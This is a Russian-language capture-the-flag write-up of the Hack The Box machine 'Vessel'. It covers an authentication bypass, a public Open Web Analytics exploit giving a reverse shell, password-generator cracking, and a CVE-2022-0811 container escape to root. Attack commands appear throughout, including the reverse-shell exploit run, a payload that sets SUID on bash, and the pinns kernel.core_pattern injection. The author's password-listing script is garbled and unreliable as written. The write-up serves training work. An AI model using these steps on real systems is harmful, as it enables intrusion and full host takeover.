Хакер - HTB Vessel. Эксплуатируем уязвимость в кластере Kubernetes
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Точка опоры
- Продвижение
- Локальное повышение привилегий
В этом райтапе я покажу, как повышать привилегии через уязвимость CVE-2022-0811, которая позволяет с максимальными привилегиями выходить из контейнера в кластере Kubernetes. По дороге посмотрим, как собирать данные из репозитория Git, проэксплуатируем SQL-инъекцию и попентестим платформу Open Web Analytics, чтобы получить доступ к хосту. Еще разберемся с генератором паролей и расшифруем PDF-документ.
Наша цель — захватить учебную машину Vessel с площадки Hack The Box. Ее уровень — «сложный».
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.178 vessel.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Нашли три открытых порта:
- 22 — служба OpenSSH 8.2p1;
- 80 — веб‑сервер Apache 2.4.41;
- 8888 — веб‑сервер Python 3.8.10 версии 0.6.
С SSH ничего сделать не получится, веб‑сервер Python тоже вещь узкоспециализированная, поэтому идем к основному сайту на порте 80.

Нас встречает сайт‑визитка без каких‑либо дополнительных возможностей, поэтому приступим к сканированию.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-w— словарь (я использую словари из набора SecLists);-t— количество потоков;-u— URL.
Место перебора помечается словом FUZZ.
ffuf -u 'http://vessel.htb/FUZZ' -w directory_2.3_medium_lowercase.txt
-t 256

В вывод посыпались все варианты из словаря. Давай добавим фильтр, чтобы этого избежать. К примеру, видим, что размеры всех ответов равны 26, поэтому просто исключим такие варианты с помощью параметра -fs.
ffuf -u 'http://vessel.htb/FUZZ' -w directory_2.3_medium_lowercase.txt
-t 256 -fs 26

В этот раз получаем реальные каталоги, причем очень даже интересные.
ТОЧКА ВХОДА
Начнем изучение с каталога dev, который выполняет редирект (код ответа 301). Смотрим на него через браузер и получаем страницу 404. Так как всю работу я веду через Burp Proxy, могу в любой момент посмотреть историю запросов.

Видим, что Apache выполняет стандартный редирект с /dev в /dev/ и только тогда переходит к странице 404. То есть каталог /dev/ все же существует, поэтому выполним сканирование в нем.
ffuf -u 'http://vessel.htb/dev/FUZZ' -w files_interesting.txt -t 256 -fs 26

И находим доступный Git-репозиторий. Скачивать содержимое репозиториев можно с помощью пакета скриптов dvcs-ripper.
./rip-git.pl -u http://vessel.htb/dev/.git/
А теперь в текущем каталоге просто открываем gitk — это GUI для работы с Git-репозиториями. И сразу находим учетные данные для подключения к базе данных.

Гуляя по истории коммитов, обнаруживаем место, где была запатчена SQL-инъекция. Полезно просматривать подобные места, так как патч может быть не совсем корректный.

Открываем этот файл и смотрим, как обрабатывается пользовательский ввод.

Node.js позволяет работать со строками как с объектами, то есть если вместо ввода простой строки пароля мы введем превращенный в строку объект password[password]=1, то он будет интерпретирован Node.js и мы получим результат проверки true. Попробуем авторизоваться от имени администратора сайта. В Burp Proxy перехватываем запрос на авторизацию и меняем передаваемые данные.


После пропуска запроса получаем административную панель как авторизованный пользователь.
ТОЧКА ОПОРЫ
Изучаем содержимое панели и находим графу аналитики, которая ведет нас на другой поддомен.

Найденное доменное имя добавляем в файл /etc/hosts и повторяем запрос. Нас встречает страница авторизации системы Open Web Analytics.
10.10.11.178 vessel.htb openwebanalytics.vessel.htb

Найденные учетные данные сюда не подошли, поэтому поищем готовые эксплоиты. Первым делом стоит проверять сайты вроде HackerOne и exploit-db. Я без труда отыскал эксплоит как раз на GitHub.

Open Web Analytics до версии 1.7.4 позволяет неавторизованному атакующему получать конфиденциальную информацию о пользователе и добиться привилегий администратора. Впрочем, эта реализация эксплоита подробно логирует все свои действия. Откроем листенер:
pwncat-cs -lp 4321
И запустим эксплоит.
python3 exploit.py http://openwebanalytics.vessel.htb/ 10.10.14.4 4321

И получаем новую сессию в pwncat-cs.

ПРОДВИЖЕНИЕ
Теперь, когда мы получили доступ к хосту, нам необходимо собрать информацию. Я, как всегда, использую для этого скрипты PEASS.
Справка: скрипты PEASS для Linux
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате.
Загрузим на хост скрипт для Linux и выберем наиболее интересную информацию.
Во‑первых, мы можем просматривать файлы в домашнем каталоге пользователя steven.

Во‑вторых, пользователю ethan доступно выполнение команды pinns от имени рута, так как у исполняемого файла выставлен s-бит.

Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.
В‑третьих, на хосте доступна программа runc.

Давай скачаем файлы passwordGenerator, screenshot.png и notes.pdf из домашнего каталога пользователя. Для этого в pwncat выйдем в основное меню сочетанием клавиш Ctrl-D, а затем используем команду download для скачивания фалов на локальный хост. Чтобы обратно получить командную оболочку удаленного хоста, используем команду back.
PDF оказался защищен паролем, а скриншот, видимо, показывает окно генератора паролей, который у нас тоже есть.

Отметим для себя параметры, использованные при составлении пароля: длина — 32 символа, а алфавит включает все символы. Я закинул генератор в дизассемблер и среди строк нашел много типичных для Python паттернов.

Таким образом, это скрипт на Python, скомпилированный в исполняемый файл .exe. Есть возможность достать из .exe код на Python в чистом виде, для чего можно использовать pyinstxtractor.

Мы получим файл .pyc, который нужно декомпилировать в .py с помощью uncompile. Затем в извлеченном скрипте находим функцию для генерирования пароля — genPassword.


Вот только генератор написан с ошибкой, так как функция QTime::msec(), которая возвращает сид для дальнейшего псевдорандома, выдает миллисекундную часть времени — число от 0 до 999. А это значит, что возможно сгенерировать всего 1000 разных паролей. Я набросал скрипт, который составит список всех паролей:
from PySide2.QtCore import *
passwords = []
length = 32
charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|
:;<>,.?'
for rsec in (0,1000):
qsrand(q)
password = ''
for i in range(length):
idx = qrand() % len(charset)
nchar = charset[idx]
password += str(nchar)
passwords.append(password)
with open('passwords.txt', 'wt') as f:
for pwd in passwords:
f.write(pwd + '\n')
Есть одно но: сгенерировать верный словарь получится только с использованием извлеченных из исполняемого файла библиотек Qt. Поэтому скопируем всю папку с извлеченными файлами на виртуалку с Windows и запустим скрипт оттуда. Будут подключены нужные библиотеки Qt. Сделав словарь, пробрутим пароль PDF-документа с помощью pdfcrack.
pdfcrack -f notes.pdf -w ./password.txt

В самом документе находим пароль, с которым можно авторизоваться по SSH от имени пользователя ethan.


ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
А теперь обратимся к runC — инструменту для запуска контейнеров, созданного в рамках проекта Open Containers. Когда я увидел права на исполняемый файл pinns и присутствие runc, сразу вспомнил о недавней уязвимости CVE-2022-0811 в Kubernetes, которая поможет поднять привилегии на основном хосте до root. Если ты о ней не слышал, то можешь почитать, к примеру, в статье CrowdStrike.

Работает уязвимость следующим образом. Kubernetes задействует среду выполнения контейнера, такую как CRI-O или Docker, для безопасного совместного использования ядра и ресурсов каждой ноды с разными работающими контейнерными приложениями. Ядро Linux принимает параметры времени выполнения, которые управляют его поведением. Kubernetes и управляемые им среды выполнения контейнеров позволяют модулям обновлять эти «безопасные» настройки ядра, блокируя доступ к другим.
Специалисты из CrowdStrike нашли уязвимость, которая позволяет обходить меры безопасности и устанавливать произвольные параметры ядра. Таким образом, любой, у кого есть права на развертывание модуля в кластере Kubernetes, использующий CRI-O, может манипулировать параметром kernel.core_pattern для выхода из контейнера и выполнения произвольного кода от имени пользователя root на любом узле в кластере.
Runc позволяет запускать контейнеры без привилегий root. Но процессы, запускающие такой контейнер, все равно будут принадлежать пользователю root! Получается, что если какой‑то процесс сможет выйти из контейнера, то он будет работать на основном хосте с правами root.
Перейдем к эксплуатации и первым делом создадим конфигурацию для запуска контейнера.
runc spec --rootless
А теперь откроем созданный файл config.json и в раздел mounts добавим конфигурацию:
{
"destination": "/",
"type": "bind",
"source": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
}

Теперь в текущем каталоге создадим каталог rootfs и запустим контейнер.
mkdir rootfs
runc --root /tmp/ralf run alpine

Мы получили сессию в контейнере, но нам нужна вторая сессия на основном хосте, поэтому во втором терминале авторизуемся на хосте через SSH. На основном хосте сделаем скрипт на Bash, который будет назначать S-бит файлу командной оболочки /bin/bash.
echo -e '#!/bin/sh\nchmod +s /usr/bin/bash' > /tmp/ralf/payload.sh
chmod +x /tmp/ralf/payload.sh
В первом сеансе (том, что в контейнере) проверяем наличие созданного скрипта и прав на выполнение.

Скрипт создан, теперь установим параметр ядра kernel.core_pattern, который указывает, что должно сделать ядро при его дампе. Так мы скажем ядру выполнить нашу нагрузку, которая будет запущена с правами root. Сделать это можно следующей командой, которую я нашел в статье в блоге Tencent.
pinns -d /var/run/ -f 37f594b6-4ffb-43a2-a0d5-e7b23d642115 -s 'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/ralf/payload.sh #' --ipc --net --uts --cgroup
И сразу проверяем, установился ли параметр kernel.core_pattern.
cat /proc/sys/kernel/core_pattern

Теперь активируем и выполним дамп ядра.
ulimit -c unlimited
tail -f /dev/null &
ps
bash -i
kill -SIGSEGV 26
ps

Наша команда была выполнена ядром за пределами пространства имен контейнера с привилегиями root, о чем свидетельствует S-бит у файла командной оболочки.

Запускаем новый Bash и получаем полные привилегии на хосте.

Машина захвачена!
читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei